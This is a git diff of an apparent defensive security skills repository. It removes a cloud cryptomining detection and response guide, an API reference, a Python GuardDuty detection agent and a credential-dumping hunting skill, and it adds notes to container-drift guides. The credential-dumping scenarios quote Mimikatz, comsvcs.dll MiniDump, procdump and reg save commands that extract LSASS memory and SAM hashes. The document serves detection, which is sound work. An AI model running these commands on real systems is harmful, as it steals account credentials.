||||
--query 'Events[*].[EventTime,Username,SourceIPAddress]' \
|
||||
--output table
|
||||
```
|
||||
|
||||
### Step 6: Contain and Remediate
|
||||
|
||||
Isolate mining resources, revoke compromised credentials, and implement preventive controls.
|
||||
|
||||
```bash
|
||||
# Terminate mining instances
|
||||
aws ec2 terminate-instances --instance-ids i-MINING_INSTANCE_1 i-MINING_INSTANCE_2
|
||||
|
||||
# Deactivate compromised credentials
|
||||
aws iam update-access-key --user-name compromised-user \
|
||||
--access-key-id AKIA_COMPROMISED --status Inactive
|
||||
|
||||
# Add SCP to prevent large instance types in non-production accounts
|
||||
cat > mining-prevention-scp.json << 'EOF'
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Deny",
|
||||
"Action": "ec2:RunInstances",
|
||||
"Resource": "arn:aws:ec2:*:*:instance/*",
|
||||
"Condition": {
|
||||
"ForAnyValue:StringLike": {
|
||||
"ec2:InstanceType": ["p3.*", "p4.*", "g4.*", "g5.*"]
|
||||
}
|
||||
}
|
||||
}]
|
||||
}
|
||||
EOF
|
||||
|
||||
# Set up billing alarm for early detection
|
||||
aws cloudwatch put-metric-alarm \
|
||||
--alarm-name high-ec2-spend \
|
||||
--metric-name EstimatedCharges \
|
||||
--namespace AWS/Billing \
|
||||
--statistic Maximum \
|
||||
--period 21600 \
|
||||
--threshold 500 \
|
||||
--comparison-operator GreaterThanThreshold \
|
||||
--alarm-actions arn:aws:sns:us-east-1:ACCOUNT:billing-alerts
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| Cryptomining | Unauthorized use of cloud compute resources to mine cryptocurrency, typically Monero (XMR) due to its CPU-mining efficiency and privacy features |
|
||||
| Stratum Protocol | Mining pool communication protocol typically running on ports 3333, 4444, or 14444 used to coordinate mining work between miners and pools |
|
||||
| GuardDuty CryptoCurrency Finding | AWS threat detection finding that identifies EC2, EKS, or Lambda resources communicating with known cryptocurrency mining infrastructure |
|
||||
| Cost Anomaly Detection | AWS service that uses machine learning to detect unusual spending patterns that may indicate unauthorized resource provisioning |
|
||||
| Compute Abuse | Unauthorized use of cloud compute resources, commonly via compromised credentials or exploited applications, for cryptomining or other purposes |
|
||||
| Service Control Policy | AWS Organizations policy that can restrict instance types or regions to prevent attackers from launching GPU/compute-optimized mining instances |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **AWS GuardDuty**: Threat detection service with specific finding types for cryptocurrency mining activity on EC2, EKS, and Lambda
|
||||
- **Azure Defender for Cloud**: Detects cryptomining through behavioral analysis and network threat intelligence
|
||||
- **GCP Event Threat Detection**: SCC component that identifies cryptocurrency mining via network analysis and process monitoring
|
||||
- **CloudTrail / Activity Log / Audit Log**: API audit logs for tracing how mining resources were provisioned
|
||||
- **VPC Flow Logs**: Network flow data for identifying connections to mining pool infrastructure
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Compromised AWS Access Key Used to Launch GPU Mining Fleet
|
||||
|
||||
**Context**: A billing alarm triggers after a weekend spike from $200/day to $15,000/day. Investigation reveals 50 p3.8xlarge instances running across four regions, all launched by an access key belonging to a developer.
|
||||
|
||||
**Approach**:
|
||||
1. Query GuardDuty for CryptoCurrency findings to confirm mining activity
|
||||
2. Terminate all mining instances across all regions immediately
|
||||
3. Deactivate the compromised access key and check CloudTrail for the source IP
|
||||
4. Discover the key was exposed in a public GitHub repository via TruffleHog scan
|
||||
5. Rotate all credentials for the compromised user
|
||||
6. Implement SCP to deny GPU instance types in non-production accounts
|
||||
7. Enable AWS Cost Anomaly Detection with automated alerts
|
||||
8. Set up git-secrets pre-commit hooks across the development team
|
||||
|
||||
**Pitfalls**: Cryptominers often launch instances in regions where the account has no monitoring. Enable GuardDuty in ALL regions. Mining instances may use spot requests that persist after instance termination, so also cancel any active spot fleet requests and auto-scaling groups created by the attacker.
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
Cloud Cryptomining Incident Report
|
||||
=====================================
|
||||
Account: 123456789012 (Production)
|
||||
Detection Date: 2026-02-23
|
||||
Alert Source: AWS Cost Anomaly Detection + GuardDuty
|
||||
|
||||
INCIDENT SUMMARY:
|
||||
Mining instances launched: 50 (p3.8xlarge)
|
||||
Regions affected: us-east-1, us-west-2, eu-west-1, ap-southeast-1
|
||||
Duration: ~48 hours (Feb 21 14:00 UTC to Feb 23 10:00 UTC)
|
||||
Estimated cost impact: $28,400
|
||||
Cryptocurrency mined: Monero (XMR)
|
||||
|
||||
ATTACK VECTOR:
|
||||
Compromised credential: AKIA...WXYZ (developer-user)
|
||||
Exposure method: Hardcoded in public GitHub repository
|
||||
First unauthorized API call: Feb 21 13:47 UTC from IP 185.x.x.x
|
||||
|
||||
GUARDDUTY FINDINGS:
|
||||
CryptoCurrency:EC2/BitcoinTool.B!DNS: 50 findings
|
||||
UnauthorizedAccess:EC2/TorIPCaller: 3 findings
|
||||
|
||||
CONTAINMENT ACTIONS:
|
||||
[x] All mining instances terminated
|
||||
[x] Compromised access key deactivated
|
||||
[x] New access key issued via Secrets Manager
|
||||
[x] SCP applied to deny GPU instance types
|
||||
[x] Cost anomaly alerting configured
|
||||
[x] GuardDuty enabled in all regions
|
||||
```
|
||||
@@ -1,78 +0,0 @@
|
||||
# Cloud Cryptomining Detection API Reference
|
||||
|
||||
## GuardDuty - Cryptocurrency Finding Types
|
||||
|
||||
| Finding Type | Signal |
|
||||
|-------------|--------|
|
||||
| `CryptoCurrency:EC2/BitcoinTool.B!DNS` | EC2 querying crypto domains |
|
||||
| `CryptoCurrency:EC2/BitcoinTool.B` | EC2 communicating with mining pools |
|
||||
| `CryptoCurrency:Runtime/BitcoinTool.B!DNS` | Container DNS to mining domain |
|
||||
| `CryptoCurrency:Runtime/BitcoinTool.B` | Container network to mining pool |
|
||||
| `Impact:EC2/BitcoinDomainRequest.Reputation` | Known mining domain access |
|
||||
|
||||
## GuardDuty CLI
|
||||
|
||||
```bash
|
||||
# Get detector ID
|
||||
aws guardduty list-detectors --query 'DetectorIds[0]' --output text
|
||||
|
||||
# List crypto findings
|
||||
aws guardduty list-findings --detector-id $DET \
|
||||
--finding-criteria '{"Criterion":{"type":{"Eq":["CryptoCurrency:EC2/BitcoinTool.B!DNS"]}}}'
|
||||
|
||||
# Get finding details
|
||||
aws guardduty get-findings --detector-id $DET --finding-ids id1 id2
|
||||
```
|
||||
|
||||
## AWS Cost Anomaly Detection
|
||||
|
||||
```bash
|
||||
# Create cost anomaly monitor
|
||||
aws ce create-anomaly-monitor --anomaly-monitor '{
|
||||
"MonitorName": "EC2CostSpike",
|
||||
"MonitorType": "DIMENSIONAL",
|
||||
"MonitorDimension": "SERVICE"
|
||||
}'
|
||||
|
||||
# Create alert subscription
|
||||
aws ce create-anomaly-subscription --anomaly-subscription '{
|
||||
"SubscriptionName": "CryptoAlert",
|
||||
"MonitorArnList": ["arn:aws:ce::123456789012:anomalymonitor/monitor-id"],
|
||||
"Subscribers": [{"Address": "soc@company.com", "Type": "EMAIL"}],
|
||||
"Threshold": 100.0,
|
||||
"Frequency": "IMMEDIATE"
|
||||
}'
|
||||
```
|
||||
|
||||
## Known Mining Pool Ports
|
||||
|
||||
```
|
||||
3333 - Stratum protocol (common)
|
||||
4444 - Mining proxy
|
||||
5555 - Monero (XMR)
|
||||
7777 - Alt-coin mining
|
||||
8888 - Multi-pool
|
||||
9999 - Mining proxy
|
||||
14444 - XMRig default
|
||||
45700 - MoneroOcean
|
||||
```
|
||||
|
||||
## VPC Flow Logs Query (CloudWatch Insights)
|
||||
|
||||
```
|
||||
fields @timestamp, srcaddr, dstaddr, dstport, action
|
||||
| filter dstport in [3333, 4444, 5555, 7777, 14444, 45700]
|
||||
| sort @timestamp desc
|
||||
| limit 50
|
||||
```
|
||||
|
||||
## EC2 Instance Remediation
|
||||
|
||||
```bash
|
||||
# Terminate mining instance
|
||||
aws ec2 terminate-instances --instance-ids i-0123456789abcdef0
|
||||
|
||||
# Revoke security group ingress on mining ports
|
||||
aws ec2 revoke-security-group-ingress --group-id sg-xxx \
|
||||
--protocol tcp --port 3333 --cidr 0.0.0.0/0
|
||||
```
|
||||
@@ -1,163 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Cloud cryptomining detection agent using AWS GuardDuty and CloudWatch."""
|
||||
|
||||
import json
|
||||
import subprocess
|
||||
import sys
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
CRYPTO_FINDING_TYPES = [
|
||||
"CryptoCurrency:EC2/BitcoinTool.B!DNS",
|
||||
"CryptoCurrency:EC2/BitcoinTool.B",
|
||||
"CryptoCurrency:Runtime/BitcoinTool.B!DNS",
|
||||
"CryptoCurrency:Runtime/BitcoinTool.B",
|
||||
"CryptoCurrency:Lambda/BitcoinTool.B",
|
||||
"Impact:EC2/BitcoinDomainRequest.Reputation",
|
||||
"Impact:Runtime/BitcoinDomainRequest.Reputation",
|
||||
]
|
||||
|
||||
MINING_POOL_PORTS = [3333, 4444, 5555, 7777, 8888, 9999, 14444, 45700]
|
||||
|
||||
|
||||
def aws_cli(args):
|
||||
"""Execute an AWS CLI command and return parsed JSON."""
|
||||
cmd = ["aws"] + args + ["--output", "json"]
|
||||
try:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
|
||||
if result.returncode == 0:
|
||||
return json.loads(result.stdout) if result.stdout.strip() else {}
|
||||
return {"error": result.stderr.strip()}
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
def get_guardduty_detector():
|
||||
"""Get the GuardDuty detector ID."""
|
||||
result = aws_cli(["guardduty", "list-detectors"])
|
||||
detectors = result.get("DetectorIds", [])
|
||||
return detectors[0] if detectors else None
|
||||
|
||||
|
||||
def list_crypto_findings(detector_id=None):
|
||||
"""List GuardDuty findings related to cryptocurrency mining."""
|
||||
if not detector_id:
|
||||
detector_id = get_guardduty_detector()
|
||||
if not detector_id:
|
||||
return {"error": "No GuardDuty detector found"}
|
||||
|
||||
criteria = {"Criterion": {"type": {"Eq": CRYPTO_FINDING_TYPES}, "service.archived": {"Eq": ["false"]}}}
|
||||
result = aws_cli([
|
||||
"guardduty", "list-findings",
|
||||
"--detector-id", detector_id,
|
||||
"--finding-criteria", json.dumps(criteria),
|
||||
])
|
||||
finding_ids = result.get("FindingIds", [])
|
||||
if not finding_ids:
|
||||
return {"detector_id": detector_id, "findings": [], "count": 0}
|
||||
|
||||
details = aws_cli([
|
||||
"guardduty", "get-findings",
|
||||
"--detector-id", detector_id,
|
||||
"--finding-ids"] + finding_ids[:25]
|
||||
)
|
||||
findings = []
|
||||
for f in details.get("Findings", []):
|
||||
resource = f.get("Resource", {})
|
||||
instance = resource.get("InstanceDetails", {})
|
||||
findings.append({
|
||||
"id": f.get("Id"),
|
||||
"type": f.get("Type"),
|
||||
"severity": f.get("Severity"),
|
||||
"title": f.get("Title"),
|
||||
"instance_id": instance.get("InstanceId"),
|
||||
"instance_type": instance.get("InstanceType"),
|
||||
"region": f.get("Region"),
|
||||
"updated_at": f.get("UpdatedAt"),
|
||||
})
|
||||
|
||||
return {"detector_id": detector_id, "count": len(findings), "findings": findings}
|
||||
|
||||
|
||||
def check_ec2_cpu_anomalies(threshold_percent=90):
|
||||
"""Find EC2 instances with sustained high CPU (potential mining)."""
|
||||
result = aws_cli([
|
||||
"cloudwatch", "get-metric-data",
|
||||
"--metric-data-queries", json.dumps([{
|
||||
"Id": "cpu",
|
||||
"MetricStat": {
|
||||
"Metric": {
|
||||
"Namespace": "AWS/EC2",
|
||||
"MetricName": "CPUUtilization",
|
||||
},
|
||||
"Period": 3600,
|
||||
"Stat": "Average",
|
||||
},
|
||||
}]),
|
||||
"--start-time", (datetime.utcnow().replace(hour=0, minute=0, second=0)).isoformat() + "Z",
|
||||
"--end-time", datetime.utcnow().isoformat() + "Z",
|
||||
])
|
||||
return result
|
||||
|
||||
|
||||
def check_cost_anomalies():
|
||||
"""Check for cost anomaly detections that may indicate mining."""
|
||||
result = aws_cli([
|
||||
"ce", "get-anomalies",
|
||||
"--date-interval", json.dumps({
|
||||
"StartDate": datetime.utcnow().strftime("%Y-%m-01"),
|
||||
"EndDate": datetime.utcnow().strftime("%Y-%m-%d"),
|
||||
}),
|
||||
])
|
||||
return result
|
||||
|
||||
|
||||
def check_vpc_flow_mining_ports(log_group="/aws/vpc/flowlogs"):
|
||||
"""Query CloudWatch Logs for connections to known mining pool ports."""
|
||||
ports_filter = " || ".join([f"dstport = {p}" for p in MINING_POOL_PORTS])
|
||||
query = f'fields @timestamp, srcaddr, dstaddr, dstport, action | filter ({ports_filter}) | sort @timestamp desc | limit 50'
|
||||
result = aws_cli([
|
||||
"logs", "start-query",
|
||||
"--log-group-name", log_group,
|
||||
"--start-time", str(int((datetime.utcnow().replace(hour=0)).timestamp())),
|
||||
"--end-time", str(int(datetime.utcnow().timestamp())),
|
||||
"--query-string", query,
|
||||
])
|
||||
return result
|
||||
|
||||
|
||||
def terminate_mining_instance(instance_id):
|
||||
"""Terminate a confirmed cryptomining EC2 instance."""
|
||||
result = aws_cli(["ec2", "terminate-instances", "--instance-ids", instance_id])
|
||||
return {
|
||||
"action": "terminate_instance",
|
||||
"instance_id": instance_id,
|
||||
"result": result,
|
||||
"timestamp": datetime.utcnow().isoformat() + "Z",
|
||||
}
|
||||
|
||||
|
||||
def generate_report():
|
||||
"""Generate a comprehensive cryptomining detection report."""
|
||||
return {
|
||||
"timestamp": datetime.utcnow().isoformat() + "Z",
|
||||
"guardduty_findings": list_crypto_findings(),
|
||||
"cost_anomalies": check_cost_anomalies(),
|
||||
}
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
action = sys.argv[1] if len(sys.argv) > 1 else "report"
|
||||
if action == "report":
|
||||
print(json.dumps(generate_report(), indent=2, default=str))
|
||||
elif action == "findings":
|
||||
print(json.dumps(list_crypto_findings(), indent=2, default=str))
|
||||
elif action == "costs":
|
||||
print(json.dumps(check_cost_anomalies(), indent=2, default=str))
|
||||
elif action == "flow-logs":
|
||||
lg = sys.argv[2] if len(sys.argv) > 2 else "/aws/vpc/flowlogs"
|
||||
print(json.dumps(check_vpc_flow_mining_ports(lg), indent=2, default=str))
|
||||
elif action == "terminate" and len(sys.argv) > 2:
|
||||
print(json.dumps(terminate_mining_instance(sys.argv[2]), indent=2, default=str))
|
||||
else:
|
||||
print("Usage: agent.py [report|findings|costs|flow-logs [log-group]|terminate <instance-id>]")
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
Container drift occurs when running containers deviate from their original image state through unauthorized file modifications, unexpected binary execution, configuration changes, or package installations. Since containers should be treated as immutable infrastructure, any drift is a potential indicator of compromise. Detection techniques leverage the DIE (Detect, Isolate, Evict) model -- an immutable workload should not change during runtime, so any observed change is potentially evidence of malicious activity.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require detecting container drift at runtime
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Kubernetes cluster v1.24+ with runtime security tooling
|
||||
|
||||
@@ -15,6 +15,14 @@ license: Apache-2.0
|
||||
|
||||
Falco is a CNCF-graduated runtime security tool that monitors Linux syscalls to detect anomalous container behavior. It uses a rules engine to identify container escape techniques such as mounting host filesystems, accessing sensitive host paths, loading kernel modules, and exploiting privileged container capabilities.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require detecting container escape with falco rules
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Linux host with kernel 5.8+ (for eBPF driver) or kernel module support
|
||||
|
||||
@@ -1,201 +0,0 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -1,90 +0,0 @@
|
||||
---
|
||||
name: detecting-credential-dumping-with-edr
|
||||
description: Detect OS credential dumping techniques including LSASS access, SAM extraction, and DCSync using EDR telemetry and Sysmon logs.
|
||||
domain: cybersecurity
|
||||
subdomain: threat-hunting
|
||||
tags: [threat-hunting, mitre-attack, credential-dumping, edr, lsass, t1003, proactive-detection]
|
||||
version: "1.0"
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
---
|
||||
|
||||
# Detecting Credential Dumping with EDR
|
||||
|
||||
## When to Use
|
||||
|
||||
- When hunting for post-exploitation credential theft in compromised environments
|
||||
- After detecting suspicious LSASS process access in EDR alerts
|
||||
- When investigating potential Active Directory compromise
|
||||
- During incident response to determine scope of credential exposure
|
||||
- When proactively hunting for T1003 sub-techniques across endpoints
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- EDR platform with process access monitoring (CrowdStrike, MDE, SentinelOne)
|
||||
- Sysmon deployed with Event ID 10 (Process Access) configured for LSASS
|
||||
- Windows Security Event Log 4688 with command-line auditing enabled
|
||||
- Active Directory event forwarding for DCSync detection (Event ID 4662)
|
||||
- Windows Security Event Log 4656/4663 for SAM registry access
|
||||
|
||||
## Workflow
|
||||
|
||||
1. **Identify Credential Dumping Vectors**: Map the T1003 sub-techniques relevant to your environment (LSASS Memory, SAM, NTDS, DCSync, /etc/passwd, Cached Credentials).
|
||||
2. **Query LSASS Access Events**: Search for Sysmon Event ID 10 where TargetImage is lsass.exe with suspicious GrantedAccess masks (0x1010, 0x1038, 0x1FFFFF).
|
||||
3. **Analyze Process Context**: Examine the source process accessing LSASS - legitimate security tools vs. unknown or suspicious binaries.
|
||||
4. **Hunt for SAM/NTDS Access**: Query for reg.exe save operations against SAM/SECURITY/SYSTEM hives and ntdsutil/vssadmin shadow copy access.
|
||||
5. **Detect DCSync Activity**: Monitor for DS-Replication-Get-Changes requests from non-domain-controller sources (Event ID 4662).
|
||||
6. **Correlate with Network Activity**: Cross-reference credential dumping with subsequent lateral movement or authentication anomalies.
|
||||
7. **Assess Impact and Report**: Determine which credentials were potentially exposed and recommend password resets and containment.
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Concept | Description |
|
||||
|---------|-------------|
|
||||
| T1003 | OS Credential Dumping - parent technique |
|
||||
| T1003.001 | LSASS Memory - dumping credentials from LSASS process |
|
||||
| T1003.002 | Security Account Manager (SAM) - extracting local password hashes |
|
||||
| T1003.003 | NTDS - extracting AD database from Domain Controllers |
|
||||
| T1003.004 | LSA Secrets - accessing stored service credentials |
|
||||
| T1003.005 | Cached Domain Credentials (DCC2) |
|
||||
| T1003.006 | DCSync - replicating AD credentials via DRSUAPI |
|
||||
| LSASS | Local Security Authority Subsystem Service |
|
||||
| GrantedAccess | Bitmask indicating the access rights requested for a process |
|
||||
| Minidump | Memory dump technique used by tools like comsvcs.dll |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| CrowdStrike Falcon | LSASS access detection and process tree analysis |
|
||||
| Microsoft Defender for Endpoint | Advanced hunting for credential access events |
|
||||
| Sysmon | Process access monitoring (Event ID 10) |
|
||||
| Velociraptor | Endpoint artifact collection for LSASS analysis |
|
||||
| Elastic Security | Correlation of credential dumping indicators |
|
||||
| Splunk | SPL queries for credential access event analysis |
|
||||
| Volatility | Memory forensics for LSASS credential extraction |
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
1. **Mimikatz LSASS Dump**: Attacker runs `sekurlsa::logonpasswords` causing direct LSASS memory read with GrantedAccess 0x1010.
|
||||
2. **Comsvcs.dll MiniDump**: Process uses `rundll32.exe comsvcs.dll MiniDump [LSASS PID]` to create LSASS memory dump file.
|
||||
3. **ProcDump LSASS**: Attacker uses Microsoft-signed procdump.exe with `-ma lsass.exe` to dump LSASS memory.
|
||||
4. **SAM Registry Export**: Adversary runs `reg save HKLM\SAM sam.bak` to extract local password hashes.
|
||||
5. **DCSync Replication**: Compromised account with Replicating Directory Changes permissions performs DCSync from a workstation.
|
||||
6. **NTDS Shadow Copy**: Attacker uses `vssadmin create shadow /for=C:` then copies ntds.dit from the shadow copy.
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
Hunt ID: TH-CRED-DUMP-[DATE]-[SEQ]
|
||||
Technique: T1003.[Sub-technique]
|
||||
Source Process: [Process accessing LSASS/SAM/NTDS]
|
||||
Target: [lsass.exe / SAM / NTDS.dit / DC Replication]
|
||||
Host: [Hostname]
|
||||
User: [Account context]
|
||||
GrantedAccess: [Access mask if applicable]
|
||||
Timestamp: [UTC]
|
||||
Risk Level: [Critical/High/Medium/Low]
|
||||
Evidence: [Log entries, process tree, network activity]
|
||||
Recommended Action: [Password reset scope, containment steps]
|
||||
```
|
||||
@@ -1,64 +0,0 @@
|
||||
# Credential Dumping Hunt Template
|
||||
|
||||
## Hunt Metadata
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Hunt ID | TH-CRED-DUMP-YYYY-MM-DD-NNN |
|
||||
| Analyst | |
|
||||
| Date | |
|
||||
| Status | [ ] In Progress / [ ] Complete |
|
||||
|
||||
## Hypothesis
|
||||
|
||||
